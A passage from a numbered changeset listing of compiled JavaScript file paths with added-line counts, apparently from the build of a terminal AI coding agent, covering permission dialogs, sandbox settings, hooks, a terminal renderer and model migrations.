  515. package/dist/src/components/agents/generateAgent.js +161 -0
  516. package/dist/src/components/agents/new-agent-creation/CreateAgentWizard.js +88 -0
  517. package/dist/src/components/agents/new-agent-creation/wizard-steps/ColorStep.js +80 -0
  518. package/dist/src/components/agents/new-agent-creation/wizard-steps/ConfirmStep.js +386 -0
  519. package/dist/src/components/agents/new-agent-creation/wizard-steps/ConfirmStepWrapper.js +63 -0
  520. package/dist/src/components/agents/new-agent-creation/wizard-steps/DescriptionStep.js +126 -0
  521. package/dist/src/components/agents/new-agent-creation/wizard-steps/GenerateStep.js +118 -0
  522. package/dist/src/components/agents/new-agent-creation/wizard-steps/LocationStep.js +92 -0
  523. package/dist/src/components/agents/new-agent-creation/wizard-steps/MemoryStep.js +120 -0
  524. package/dist/src/components/agents/new-agent-creation/wizard-steps/MethodStep.js +79 -0
  525. package/dist/src/components/agents/new-agent-creation/wizard-steps/ModelStep.js +48 -0
  526. package/dist/src/components/agents/new-agent-creation/wizard-steps/PromptStep.js +131 -0
  527. package/dist/src/components/agents/new-agent-creation/wizard-steps/ToolsStep.js +51 -0
  528. package/dist/src/components/agents/new-agent-creation/wizard-steps/TypeStep.js +100 -0
  529. package/dist/src/components/agents/types.js +4 -0
  530. package/dist/src/components/agents/utils.js +14 -0
  531. package/dist/src/components/agents/validateAgent.js +79 -0
  532. package/dist/src/components/design-system/Byline.js +72 -0
  533. package/dist/src/components/design-system/Dialog.js +116 -0
  534. package/dist/src/components/design-system/Divider.js +109 -0
  535. package/dist/src/components/design-system/FuzzyPicker.js +187 -0
  536. package/dist/src/components/design-system/KeyboardShortcutHint.js +67 -0
  537. package/dist/src/components/design-system/ListItem.js +183 -0
  538. package/dist/src/components/design-system/LoadingState.js +68 -0
  539. package/dist/src/components/design-system/Pane.js +68 -0
  540. package/dist/src/components/design-system/ProgressBar.js +62 -0
  541. package/dist/src/components/design-system/Ratchet.js +71 -0
  542. package/dist/src/components/design-system/StatusIcon.js +69 -0
  543. package/dist/src/components/design-system/Tabs.js +269 -0
  544. package/dist/src/components/design-system/ThemeProvider.js +137 -0
  545. package/dist/src/components/design-system/ThemedBox.js +125 -0
  546. package/dist/src/components/design-system/ThemedText.js +60 -0
  547. package/dist/src/components/design-system/color.js +22 -0
  548. package/dist/src/components/diff/DiffDetailView.js +284 -0
  549. package/dist/src/components/diff/DiffDialog.js +387 -0
  550. package/dist/src/components/diff/DiffFileList.js +291 -0
  551. package/dist/src/components/grove/Grove.js +483 -0
  552. package/dist/src/components/hooks/HooksConfigMenu.js +570 -0
  553. package/dist/src/components/hooks/PromptDialog.js +81 -0
  554. package/dist/src/components/hooks/SelectEventMode.js +117 -0
  555. package/dist/src/components/hooks/SelectHookMode.js +93 -0
  556. package/dist/src/components/hooks/SelectMatcherMode.js +124 -0
  557. package/dist/src/components/hooks/ViewHookMode.js +197 -0
  558. package/dist/src/components/mcp/CapabilitiesSection.js +55 -0
  559. package/dist/src/components/mcp/ElicitationDialog.js +945 -0
  560. package/dist/src/components/mcp/MCPAgentServerMenu.js +95 -0
  561. package/dist/src/components/mcp/MCPListPanel.js +504 -0
  562. package/dist/src/components/mcp/MCPReconnect.js +168 -0
  563. package/dist/src/components/mcp/MCPRemoteServerMenu.js +460 -0
  564. package/dist/src/components/mcp/MCPSettings.js +414 -0
  565. package/dist/src/components/mcp/MCPStdioServerMenu.js +95 -0
  566. package/dist/src/components/mcp/MCPToolDetailView.js +219 -0
  567. package/dist/src/components/mcp/MCPToolListView.js +136 -0
  568. package/dist/src/components/mcp/McpParsingWarnings.js +211 -0
  569. package/dist/src/components/mcp/index.js +8 -0
  570. package/dist/src/components/mcp/types.js +3 -0
  571. package/dist/src/components/mcp/utils/reconnectHelpers.js +35 -0
  572. package/dist/src/components/memory/MemoryFileSelector.js +455 -0
  573. package/dist/src/components/memory/MemoryUpdateNotification.js +42 -0
  574. package/dist/src/components/messageActions.js +418 -0
  575. package/dist/src/components/messages/AdvisorMessage.js +151 -0
  576. package/dist/src/components/messages/AssistantRedactedThinkingMessage.js +27 -0
  577. package/dist/src/components/messages/AssistantTextMessage.js +274 -0
  578. package/dist/src/components/messages/AssistantThinkingMessage.js +69 -0
  579. package/dist/src/components/messages/AssistantToolUseMessage.js +323 -0
  580. package/dist/src/components/messages/AttachmentMessage.js +418 -0
  581. package/dist/src/components/messages/CollapsedReadSearchContent.js +362 -0
  582. package/dist/src/components/messages/CompactBoundaryMessage.js +18 -0
  583. package/dist/src/components/messages/GroupedToolUseContent.js +37 -0
  584. package/dist/src/components/messages/HighlightedThinkingText.js +164 -0
  585. package/dist/src/components/messages/HookProgressMessage.js +110 -0
  586. package/dist/src/components/messages/PlanApprovalMessage.js +212 -0
  587. package/dist/src/components/messages/RateLimitMessage.js +149 -0
  588. package/dist/src/components/messages/ShutdownMessage.js +123 -0
  589. package/dist/src/components/messages/SystemAPIErrorMessage.js +135 -0
  590. package/dist/src/components/messages/SystemTextMessage.js +843 -0
  591. package/dist/src/components/messages/TaskAssignmentMessage.js +71 -0
  592. package/dist/src/components/messages/UserAgentNotificationMessage.js +77 -0
  593. package/dist/src/components/messages/UserBashInputMessage.js +51 -0
  594. package/dist/src/components/messages/UserBashOutputMessage.js +54 -0
  595. package/dist/src/components/messages/UserChannelMessage.js +129 -0
  596. package/dist/src/components/messages/UserCommandMessage.js +106 -0
  597. package/dist/src/components/messages/UserImageMessage.js +53 -0
  598. package/dist/src/components/messages/UserLocalCommandOutputMessage.js +169 -0
  599. package/dist/src/components/messages/UserMemoryInputMessage.js +72 -0
  600. package/dist/src/components/messages/UserPlanMessage.js +37 -0
  601. package/dist/src/components/messages/UserPromptMessage.js +63 -0
  602. package/dist/src/components/messages/UserResourceUpdateMessage.js +101 -0
  603. package/dist/src/components/messages/UserTeammateMessage.js +156 -0
  604. package/dist/src/components/messages/UserTextMessage.js +271 -0
  605. package/dist/src/components/messages/UserToolResultMessage/RejectedPlanMessage.js +27 -0
  606. package/dist/src/components/messages/UserToolResultMessage/RejectedToolUseMessage.js +16 -0
  607. package/dist/src/components/messages/UserToolResultMessage/UserToolCanceledMessage.js +16 -0
  608. package/dist/src/components/messages/UserToolResultMessage/UserToolErrorMessage.js +91 -0
  609. package/dist/src/components/messages/UserToolResultMessage/UserToolRejectMessage.js +73 -0
  610. package/dist/src/components/messages/UserToolResultMessage/UserToolResultMessage.js +83 -0
  611. package/dist/src/components/messages/UserToolResultMessage/UserToolSuccessMessage.js +58 -0
  612. package/dist/src/components/messages/UserToolResultMessage/utils.js +43 -0
  613. package/dist/src/components/messages/nullRenderingAttachments.js +58 -0
  614. package/dist/src/components/messages/teamMemCollapsed.js +142 -0
  615. package/dist/src/components/messages/teamMemSaved.js +17 -0
  616. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/AskUserQuestionPermissionRequest.js +654 -0
  617. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/PreviewBox.js +219 -0
  618. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/PreviewQuestionView.js +227 -0
  619. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/QuestionNavigationBar.js +174 -0
  620. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/QuestionView.js +444 -0
  621. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/SubmitQuestionsView.js +136 -0
  622. package/dist/src/components/permissions/AskUserQuestionPermissionRequest/use-multiple-choice-state.js +100 -0
  623. package/dist/src/components/permissions/BashPermissionRequest/BashPermissionRequest.js +404 -0
  624. package/dist/src/components/permissions/BashPermissionRequest/bashToolUseOptions.js +110 -0
  625. package/dist/src/components/permissions/ComputerUseApproval/ComputerUseApproval.js +448 -0
  626. package/dist/src/components/permissions/EnterPlanModePermissionRequest/EnterPlanModePermissionRequest.js +125 -0
  627. package/dist/src/components/permissions/ExitPlanModePermissionRequest/ExitPlanModePermissionRequest.js +649 -0
  628. package/dist/src/components/permissions/FallbackPermissionRequest.js +348 -0
  629. package/dist/src/components/permissions/FileEditPermissionRequest/FileEditPermissionRequest.js +184 -0
  630. package/dist/src/components/permissions/FilePermissionDialog/FilePermissionDialog.js +108 -0
  631. package/dist/src/components/permissions/FilePermissionDialog/ideDiffConfig.js +13 -0
  632. package/dist/src/components/permissions/FilePermissionDialog/permissionOptions.js +136 -0
  633. package/dist/src/components/permissions/FilePermissionDialog/useFilePermissionDialog.js +131 -0
  634. package/dist/src/components/permissions/FilePermissionDialog/usePermissionHandler.js +86 -0
  635. package/dist/src/components/permissions/FileWritePermissionRequest/FileWritePermissionRequest.js +163 -0
  636. package/dist/src/components/permissions/FileWritePermissionRequest/FileWriteToolDiff.js +78 -0
  637. package/dist/src/components/permissions/FilesystemPermissionRequest/FilesystemPermissionRequest.js +112 -0
  638. package/dist/src/components/permissions/NotebookEditPermissionRequest/NotebookEditPermissionRequest.js +163 -0
  639. package/dist/src/components/permissions/NotebookEditPermissionRequest/NotebookEditToolDiff.js +217 -0
  640. package/dist/src/components/permissions/PermissionDecisionDebugInfo.js +466 -0
  641. package/dist/src/components/permissions/PermissionDialog.js +54 -0
  642. package/dist/src/components/permissions/PermissionExplanation.js +269 -0
  643. package/dist/src/components/permissions/PermissionPrompt.js +316 -0
  644. package/dist/src/components/permissions/PermissionRequest.js +160 -0
  645. package/dist/src/components/permissions/PermissionRequestTitle.js +57 -0
  646. package/dist/src/components/permissions/PermissionRuleExplanation.js +116 -0
  647. package/dist/src/components/permissions/PowerShellPermissionRequest/PowerShellPermissionRequest.js +178 -0
  648. package/dist/src/components/permissions/PowerShellPermissionRequest/powershellToolUseOptions.js +73 -0
  649. package/dist/src/components/permissions/SandboxPermissionRequest.js +161 -0
  650. package/dist/src/components/permissions/SedEditPermissionRequest/SedEditPermissionRequest.js +228 -0
  651. package/dist/src/components/permissions/SkillPermissionRequest/SkillPermissionRequest.js +384 -0
  652. package/dist/src/components/permissions/WebFetchPermissionRequest/WebFetchPermissionRequest.js +258 -0
  653. package/dist/src/components/permissions/WorkerBadge.js +43 -0
  654. package/dist/src/components/permissions/WorkerPendingPermission.js +106 -0
  655. package/dist/src/components/permissions/hooks.js +163 -0
  656. package/dist/src/components/permissions/rules/AddPermissionRules.js +172 -0
  657. package/dist/src/components/permissions/rules/AddWorkspaceDirectory.js +334 -0
  658. package/dist/src/components/permissions/rules/PermissionRuleDescription.js +77 -0
  659. package/dist/src/components/permissions/rules/PermissionRuleInput.js +135 -0
  660. package/dist/src/components/permissions/rules/PermissionRuleList.js +1189 -0
  661. package/dist/src/components/permissions/rules/RecentDenialsTab.js +204 -0
  662. package/dist/src/components/permissions/rules/RemoveWorkspaceDirectory.js +102 -0
  663. package/dist/src/components/permissions/rules/WorkspaceTab.js +132 -0
  664. package/dist/src/components/permissions/shellPermissionHelpers.js +111 -0
  665. package/dist/src/components/permissions/useShellPermissionFeedback.js +108 -0
  666. package/dist/src/components/permissions/utils.js +14 -0
  667. package/dist/src/components/sandbox/SandboxConfigTab.js +47 -0
  668. package/dist/src/components/sandbox/SandboxDependenciesTab.js +122 -0
  669. package/dist/src/components/sandbox/SandboxDoctorSection.js +46 -0
  670. package/dist/src/components/sandbox/SandboxOverridesTab.js +192 -0
  671. package/dist/src/components/sandbox/SandboxSettings.js +296 -0
  672. package/dist/src/components/shell/ExpandShellOutputContext.js +33 -0
  673. package/dist/src/components/shell/OutputLine.js +110 -0
  674. package/dist/src/components/shell/ShellProgressMessage.js +143 -0
  675. package/dist/src/components/shell/ShellTimeDisplay.js +71 -0
  676. package/dist/src/components/skills/SkillsMenu.js +238 -0
  677. package/dist/src/components/tasks/AsyncAgentDetailDialog.js +234 -0
  678. package/dist/src/components/tasks/BackgroundTask.js +363 -0
  679. package/dist/src/components/tasks/BackgroundTaskStatus.js +419 -0
  680. package/dist/src/components/tasks/BackgroundTasksDialog.js +496 -0
  681. package/dist/src/components/tasks/DreamDetailDialog.js +250 -0
  682. package/dist/src/components/tasks/InProcessTeammateDetailDialog.js +274 -0
  683. package/dist/src/components/tasks/RemoteSessionDetailDialog.js +868 -0
  684. package/dist/src/components/tasks/RemoteSessionProgress.js +249 -0
  685. package/dist/src/components/tasks/ShellDetailDialog.js +403 -0
  686. package/dist/src/components/tasks/ShellProgress.js +76 -0
  687. package/dist/src/components/tasks/renderToolActivity.js +28 -0
  688. package/dist/src/components/tasks/taskStatusUtils.js +94 -0
  689. package/dist/src/components/teams/TeamStatus.js +76 -0
  690. package/dist/src/components/teams/TeamsDialog.js +672 -0
  691. package/dist/src/components/ui/ContextCard.js +5 -0
  692. package/dist/src/components/ui/OrderedList.js +66 -0
  693. package/dist/src/components/ui/OrderedListItem.js +41 -0
  694. package/dist/src/components/ui/TreeSelect.js +300 -0
  695. package/dist/src/components/wizard/WizardDialogLayout.js +47 -0
  696. package/dist/src/components/wizard/WizardNavigationFooter.js +10 -0
  697. package/dist/src/components/wizard/WizardProvider.js +217 -0
  698. package/dist/src/components/wizard/index.js +4 -0
  699. package/dist/src/components/wizard/useWizard.js +9 -0
  700. package/dist/src/constants/apiLimits.js +81 -0
  701. package/dist/src/constants/betas.js +45 -0
  702. package/dist/src/constants/common.js +29 -0
  703. package/dist/src/constants/cyberRiskInstruction.js +24 -0
  704. package/dist/src/constants/errorIds.js +14 -0
  705. package/dist/src/constants/figures.js +38 -0
  706. package/dist/src/constants/files.js +150 -0
  707. package/dist/src/constants/github-app.js +139 -0
  708. package/dist/src/constants/keys.js +10 -0
  709. package/dist/src/constants/messages.js +1 -0
  710. package/dist/src/constants/oauth.js +221 -0
  711. package/dist/src/constants/outputStyles.js +162 -0
  712. package/dist/src/constants/product.js +56 -0
  713. package/dist/src/constants/prompts.js +752 -0
  714. package/dist/src/constants/spinnerVerbs.js +202 -0
  715. package/dist/src/constants/system.js +77 -0
  716. package/dist/src/constants/systemPromptSections.js +39 -0
  717. package/dist/src/constants/toolLimits.js +50 -0
  718. package/dist/src/constants/tools.js +103 -0
  719. package/dist/src/constants/turnCompletionVerbs.js +12 -0
  720. package/dist/src/constants/xml.js +73 -0
  721. package/dist/src/context/QueuedMessageContext.js +51 -0
  722. package/dist/src/context/fpsMetrics.js +22 -0
  723. package/dist/src/context/mailbox.js +35 -0
  724. package/dist/src/context/modalContext.js +34 -0
  725. package/dist/src/context/notifications.js +199 -0
  726. package/dist/src/context/overlayContext.js +149 -0
  727. package/dist/src/context/promptOverlayContext.js +118 -0
  728. package/dist/src/context/stats.js +207 -0
  729. package/dist/src/context/voice.js +74 -0
  730. package/dist/src/context.js +146 -0
  731. package/dist/src/coordinator/coordinatorMode.js +349 -0
  732. package/dist/src/cost-tracker.js +208 -0
  733. package/dist/src/costHook.js +17 -0
  734. package/dist/src/daemon/main.js +16 -0
  735. package/dist/src/daemon/workerRegistry.js +16 -0
  736. package/dist/src/dialogLaunchers.js +68 -0
  737. package/dist/src/entrypoints/agentSdkTypes.js +202 -0
  738. package/dist/src/entrypoints/cli.js +252 -0
  739. package/dist/src/entrypoints/init.js +265 -0
  740. package/dist/src/entrypoints/mcp.js +142 -0
  741. package/dist/src/entrypoints/sandboxTypes.js +112 -0
  742. package/dist/src/entrypoints/sdk/controlSchemas.js +452 -0
  743. package/dist/src/entrypoints/sdk/controlTypes.js +1 -0
  744. package/dist/src/entrypoints/sdk/coreSchemas.js +1331 -0
  745. package/dist/src/entrypoints/sdk/coreTypes.generated.js +1 -0
  746. package/dist/src/entrypoints/sdk/coreTypes.js +49 -0
  747. package/dist/src/entrypoints/sdk/runtimeTypes.js +1 -0
  748. package/dist/src/entrypoints/sdk/toolTypes.js +1 -0
  749. package/dist/src/environment-runner/main.js +16 -0
  750. package/dist/src/history.js +386 -0
  751. package/dist/src/hooks/fileSuggestions.js +635 -0
  752. package/dist/src/hooks/notifs/useAutoModeUnavailableNotification.js +47 -0
  753. package/dist/src/hooks/notifs/useCanSwitchToExistingSubscription.js +57 -0
  754. package/dist/src/hooks/notifs/useDeprecationWarningNotification.js +43 -0
  755. package/dist/src/hooks/notifs/useFastModeNotification.js +164 -0
  756. package/dist/src/hooks/notifs/useIDEStatusIndicator.js +174 -0
  757. package/dist/src/hooks/notifs/useInstallMessages.js +27 -0
  758. package/dist/src/hooks/notifs/useLspInitializationNotification.js +144 -0
  759. package/dist/src/hooks/notifs/useMcpConnectivityStatus.js +80 -0
  760. package/dist/src/hooks/notifs/useModelMigrationNotifications.js +53 -0
  761. package/dist/src/hooks/notifs/useNpmDeprecationNotification.js +24 -0
  762. package/dist/src/hooks/notifs/usePluginAutoupdateNotification.js +82 -0
  763. package/dist/src/hooks/notifs/usePluginInstallationStatus.js +127 -0
  764. package/dist/src/hooks/notifs/useRateLimitWarningNotification.js +118 -0
  765. package/dist/src/hooks/notifs/useSettingsErrors.js +64 -0
  766. package/dist/src/hooks/notifs/useStartupNotification.js +33 -0
  767. package/dist/src/hooks/notifs/useTeammateShutdownNotification.js +64 -0
  768. package/dist/src/hooks/renderPlaceholder.js +26 -0
  769. package/dist/src/hooks/toolPermission/PermissionContext.js +211 -0
  770. package/dist/src/hooks/toolPermission/handlers/coordinatorHandler.js +44 -0
  771. package/dist/src/hooks/toolPermission/handlers/interactiveHandler.js +397 -0
  772. package/dist/src/hooks/toolPermission/handlers/swarmWorkerHandler.js +108 -0
  773. package/dist/src/hooks/toolPermission/permissionLogging.js +145 -0
  774. package/dist/src/hooks/unifiedSuggestions.js +130 -0
  775. package/dist/src/hooks/useAfterFirstRender.js +12 -0
  776. package/dist/src/hooks/useApiKeyVerification.js +63 -0
  777. package/dist/src/hooks/useArrowKeyHistory.js +203 -0
  778. package/dist/src/hooks/useAssistantHistory.js +194 -0
  779. package/dist/src/hooks/useAwaySummary.js +105 -0
  780. package/dist/src/hooks/useBackgroundTaskNavigation.js +204 -0
  781. package/dist/src/hooks/useBlink.js +28 -0
  782. package/dist/src/hooks/useCanUseTool.js +192 -0
  783. package/dist/src/hooks/useCancelRequest.js +195 -0
  784. package/dist/src/hooks/useChromeExtensionNotification.js +49 -0
  785. package/dist/src/hooks/useClaudeCodeHintRecommendation.js +117 -0
  786. package/dist/src/hooks/useClipboardImageHint.js +59 -0
  787. package/dist/src/hooks/useCommandKeybindings.js +87 -0
  788. package/dist/src/hooks/useCommandQueue.js +10 -0
  789. package/dist/src/hooks/useCopyOnSelect.js +88 -0
  790. package/dist/src/hooks/useDeferredHookMessages.js +43 -0
  791. package/dist/src/hooks/useDiffData.js +69 -0
  792. package/dist/src/hooks/useDiffInIDE.js +252 -0
  793. package/dist/src/hooks/useDirectConnect.js +150 -0
  794. package/dist/src/hooks/useDoublePress.js +44 -0
  795. package/dist/src/hooks/useDynamicConfig.js +17 -0
  796. package/dist/src/hooks/useElapsedTime.js +25 -0
  797. package/dist/src/hooks/useExitOnCtrlCD.js +57 -0
  798. package/dist/src/hooks/useExitOnCtrlCDWithKeybindings.js +17 -0
  799. package/dist/src/hooks/useFileHistorySnapshotInit.js +14 -0
  800. package/dist/src/hooks/useGlobalKeybindings.js +215 -0
  801. package/dist/src/hooks/useHistorySearch.js +241 -0
  802. package/dist/src/hooks/useIDEIntegration.js +56 -0
  803. package/dist/src/hooks/useIdeAtMentioned.js +51 -0
  804. package/dist/src/hooks/useIdeConnectionStatus.js +21 -0
  805. package/dist/src/hooks/useIdeLogging.js +29 -0
  806. package/dist/src/hooks/useIdeSelection.js +106 -0
  807. package/dist/src/hooks/useInboxPoller.js +709 -0
  808. package/dist/src/hooks/useInputBuffer.js +73 -0
  809. package/dist/src/hooks/useIssueFlagBanner.js +115 -0
  810. package/dist/src/hooks/useLogMessages.js +98 -0
  811. package/dist/src/hooks/useLspPluginRecommendation.js +176 -0
  812. package/dist/src/hooks/useMailboxBridge.js +15 -0
  813. package/dist/src/hooks/useMainLoopModel.js +25 -0
  814. package/dist/src/hooks/useManagePlugins.js +261 -0
  815. package/dist/src/hooks/useMemoryUsage.js +28 -0
  816. package/dist/src/hooks/useMergedClients.js +11 -0
  817. package/dist/src/hooks/useMergedCommands.js +10 -0
  818. package/dist/src/hooks/useMergedTools.js +32 -0
  819. package/dist/src/hooks/useMinDisplayTime.js +26 -0
  820. package/dist/src/hooks/useNotifyAfterTimeout.js +51 -0
  821. package/dist/src/hooks/useOfficialMarketplaceNotification.js +46 -0
  822. package/dist/src/hooks/usePasteHandler.js +188 -0
  823. package/dist/src/hooks/usePluginRecommendationBase.js +101 -0
  824. package/dist/src/hooks/usePrStatus.js +91 -0
  825. package/dist/src/hooks/usePromptSuggestion.js +128 -0
  826. package/dist/src/hooks/usePromptsFromClaudeInChrome.js +66 -0
  827. package/dist/src/hooks/useQueueProcessor.js +46 -0
  828. package/dist/src/hooks/useRemoteSession.js +431 -0
  829. package/dist/src/hooks/useReplBridge.js +717 -0
  830. package/dist/src/hooks/useSSHSession.js +167 -0
  831. package/dist/src/hooks/useScheduledTasks.js +104 -0
  832. package/dist/src/hooks/useSearchInput.js +302 -0
  833. package/dist/src/hooks/useSessionBackgrounding.js +132 -0
  834. package/dist/src/hooks/useSettings.js +10 -0
  835. package/dist/src/hooks/useSettingsChange.js +13 -0
  836. package/dist/src/hooks/useSkillImprovementSurvey.js +69 -0
  837. package/dist/src/hooks/useSkillsChange.js +51 -0
  838. package/dist/src/hooks/useSwarmInitialization.js +67 -0
  839. package/dist/src/hooks/useSwarmPermissionPoller.js +215 -0
  840. package/dist/src/hooks/useTaskListWatcher.js +157 -0
  841. package/dist/src/hooks/useTasksV2.js +220 -0
  842. package/dist/src/hooks/useTeammateViewAutoExit.js +55 -0
  843. package/dist/src/hooks/useTelegramMirror.js +47 -0
  844. package/dist/src/hooks/useTeleportResume.js +81 -0
  845. package/dist/src/hooks/useTerminalSize.js +9 -0
  846. package/dist/src/hooks/useTextInput.js +397 -0
  847. package/dist/src/hooks/useTimeout.js +10 -0
  848. package/dist/src/hooks/useTurnDiffs.js +160 -0
  849. package/dist/src/hooks/useTypeahead.js +1617 -0
  850. package/dist/src/hooks/useUpdateNotification.js +22 -0
  851. package/dist/src/hooks/useVimInput.js +232 -0
  852. package/dist/src/hooks/useVirtualScroll.js +627 -0
  853. package/dist/src/hooks/useVoice.js +954 -0
  854. package/dist/src/hooks/useVoiceEnabled.js +21 -0
  855. package/dist/src/hooks/useVoiceIntegration.js +631 -0
  856. package/dist/src/hooks/useWhatsAppMirror.js +46 -0
  857. package/dist/src/index.js +18 -0
  858. package/dist/src/ink/Ansi.js +269 -0
  859. package/dist/src/ink/bidi.js +117 -0
  860. package/dist/src/ink/clearTerminal.js +58 -0
  861. package/dist/src/ink/colorize.js +198 -0
  862. package/dist/src/ink/components/AlternateScreen.js +74 -0
  863. package/dist/src/ink/components/App.js +558 -0
  864. package/dist/src/ink/components/AppContext.js +11 -0
  865. package/dist/src/ink/components/Box.js +153 -0
  866. package/dist/src/ink/components/Button.js +166 -0
  867. package/dist/src/ink/components/ClockContext.js +108 -0
  868. package/dist/src/ink/components/CursorDeclarationContext.js +3 -0
  869. package/dist/src/ink/components/ErrorOverview.js +49 -0
  870. package/dist/src/ink/components/Link.js +33 -0
  871. package/dist/src/ink/components/Newline.js +29 -0
  872. package/dist/src/ink/components/NoSelect.js +56 -0
  873. package/dist/src/ink/components/RawAnsi.js +45 -0
  874. package/dist/src/ink/components/ScrollBox.js +170 -0
  875. package/dist/src/ink/components/Spacer.js +19 -0
  876. package/dist/src/ink/components/StdinContext.js +16 -0
  877. package/dist/src/ink/components/TerminalFocusContext.js +45 -0
  878. package/dist/src/ink/components/TerminalSizeContext.js +3 -0
  879. package/dist/src/ink/components/Text.js +194 -0
  880. package/dist/src/ink/constants.js +2 -0
  881. package/dist/src/ink/devtools.js +16 -0
  882. package/dist/src/ink/dom.js +298 -0
  883. package/dist/src/ink/events/click-event.js +36 -0
  884. package/dist/src/ink/events/dispatcher.js +172 -0
  885. package/dist/src/ink/events/emitter.js +31 -0
  886. package/dist/src/ink/events/event-handlers.js +30 -0
  887. package/dist/src/ink/events/event.js +9 -0
  888. package/dist/src/ink/events/focus-event.js +16 -0
  889. package/dist/src/ink/events/input-event.js +161 -0
  890. package/dist/src/ink/events/keyboard-event.js +45 -0
  891. package/dist/src/ink/events/terminal-event.js +78 -0
  892. package/dist/src/ink/events/terminal-focus-event.js +15 -0
  893. package/dist/src/ink/focus.js +158 -0
  894. package/dist/src/ink/frame.js +30 -0
  895. package/dist/src/ink/get-max-width.js +23 -0
  896. package/dist/src/ink/hit-test.js +113 -0
  897. package/dist/src/ink/hooks/use-animation-frame.js +48 -0
  898. package/dist/src/ink/hooks/use-app.js +7 -0
  899. package/dist/src/ink/hooks/use-declared-cursor.js +60 -0
  900. package/dist/src/ink/hooks/use-input.js +70 -0
  901. package/dist/src/ink/hooks/use-interval.js +54 -0
  902. package/dist/src/ink/hooks/use-search-highlight.js +32 -0
  903. package/dist/src/ink/hooks/use-selection.js +60 -0
  904. package/dist/src/ink/hooks/use-stdin.js +7 -0
  905. package/dist/src/ink/hooks/use-tab-status.js +57 -0
  906. package/dist/src/ink/hooks/use-terminal-focus.js +15 -0
  907. package/dist/src/ink/hooks/use-terminal-title.js +29 -0
  908. package/dist/src/ink/hooks/use-terminal-viewport.js +77 -0
  909. package/dist/src/ink/ink.js +1644 -0
  910. package/dist/src/ink/instances.js +7 -0
  911. package/dist/src/ink/layout/engine.js +4 -0
  912. package/dist/src/ink/layout/geometry.js +61 -0
  913. package/dist/src/ink/layout/node.js +62 -0
  914. package/dist/src/ink/layout/yoga.js +237 -0
  915. package/dist/src/ink/line-width-cache.js +19 -0
  916. package/dist/src/ink/log-update.js +583 -0
  917. package/dist/src/ink/measure-element.js +8 -0
  918. package/dist/src/ink/measure-text.js +35 -0
  919. package/dist/src/ink/node-cache.js +30 -0
  920. package/dist/src/ink/optimizer.js +81 -0
  921. package/dist/src/ink/output.js +556 -0
  922. package/dist/src/ink/parse-keypress.js +695 -0
  923. package/dist/src/ink/reconciler.js +384 -0
  924. package/dist/src/ink/render-border.js +134 -0
  925. package/dist/src/ink/render-node-to-output.js +1216 -0
  926. package/dist/src/ink/render-to-screen.js +171 -0
  927. package/dist/src/ink/renderer.js +129 -0
  928. package/dist/src/ink/root.js +80 -0
  929. package/dist/src/ink/screen.js +1132 -0
  930. package/dist/src/ink/searchHighlight.js +78 -0
  931. package/dist/src/ink/selection.js +792 -0
  932. package/dist/src/ink/squash-text-nodes.js +56 -0
  933. package/dist/src/ink/stringWidth.js +200 -0
  934. package/dist/src/ink/styles.js +299 -0
  935. package/dist/src/ink/supports-hyperlinks.js +40 -0
  936. package/dist/src/ink/tabstops.js +39 -0
  937. package/dist/src/ink/terminal-focus-state.js +35 -0
  938. package/dist/src/ink/terminal-querier.js +173 -0
  939. package/dist/src/ink/terminal.js +208 -0
  940. package/dist/src/ink/termio/ansi.js +70 -0
  941. package/dist/src/ink/termio/csi.js +260 -0
  942. package/dist/src/ink/termio/dec.js +53 -0
  943. package/dist/src/ink/termio/esc.js +55 -0
  944. package/dist/src/ink/termio/osc.js +432 -0
  945. package/dist/src/ink/termio/parser.js +356 -0
  946. package/dist/src/ink/termio/sgr.js +292 -0
  947. package/dist/src/ink/termio/tokenize.js +264 -0
  948. package/dist/src/ink/termio/types.js +55 -0
  949. package/dist/src/ink/termio.js +24 -0
  950. package/dist/src/ink/useTerminalNotification.js +57 -0
  951. package/dist/src/ink/warn.js +10 -0
  952. package/dist/src/ink/widest-line.js +14 -0
  953. package/dist/src/ink/wrap-text.js +54 -0
  954. package/dist/src/ink/wrapAnsi.js +6 -0
  955. package/dist/src/ink.js +50 -0
  956. package/dist/src/interactiveHelpers.js +317 -0
  957. package/dist/src/keybindings/KeybindingContext.js +184 -0
  958. package/dist/src/keybindings/KeybindingProviderSetup.js +259 -0
  959. package/dist/src/keybindings/defaultBindings.js +333 -0
  960. package/dist/src/keybindings/loadUserBindings.js +393 -0
  961. package/dist/src/keybindings/match.js +111 -0
  962. package/dist/src/keybindings/parser.js +184 -0
  963. package/dist/src/keybindings/reservedShortcuts.js +109 -0
  964. package/dist/src/keybindings/resolver.js +182 -0
  965. package/dist/src/keybindings/schema.js +205 -0
  966. package/dist/src/keybindings/shortcutFormat.js +48 -0
  967. package/dist/src/keybindings/template.js +40 -0
  968. package/dist/src/keybindings/useKeybinding.js +161 -0
  969. package/dist/src/keybindings/useShortcutDisplay.js +43 -0
  970. package/dist/src/keybindings/validate.js +395 -0
  971. package/dist/src/main.js +4080 -0
  972. package/dist/src/memdir/findRelevantMemories.js +101 -0
  973. package/dist/src/memdir/memdir.js +408 -0
  974. package/dist/src/memdir/memoryAge.js +52 -0
  975. package/dist/src/memdir/memoryScan.js +65 -0
  976. package/dist/src/memdir/memoryTypes.js +260 -0
  977. package/dist/src/memdir/paths.js +236 -0
  978. package/dist/src/memdir/teamMemPaths.js +261 -0
  979. package/dist/src/memdir/teamMemPrompts.js +82 -0
  980. package/dist/src/migrations/migrateAutoUpdatesToSettings.js +47 -0
  981. package/dist/src/migrations/migrateBypassPermissionsAcceptedToSettings.js +32 -0
  982. package/dist/src/migrations/migrateEnableAllProjectMcpServersToSettings.js +83 -0
  983. package/dist/src/migrations/migrateFennecToOpus.js +39 -0
  984. package/dist/src/migrations/migrateLegacyOpusToCurrent.js +44 -0
  985. package/dist/src/migrations/migrateOpusToOpus1m.js +31 -0
  986. package/dist/src/migrations/migrateReplBridgeEnabledToRemoteControlAtStartup.js +23 -0
  987. package/dist/src/migrations/migrateSonnet1mToSonnet45.js +38 -0
  988. package/dist/src/migrations/migrateSonnet45ToSonnet46.js +48 -0
  989. package/dist/src/migrations/resetAutoModeOptInForDefaultOffer.js +47 -0
  990. package/dist/src/migrations/resetProToOpusDefault.js +46 -0
  991. package/dist/src/mirrors/shared.js +186 -0
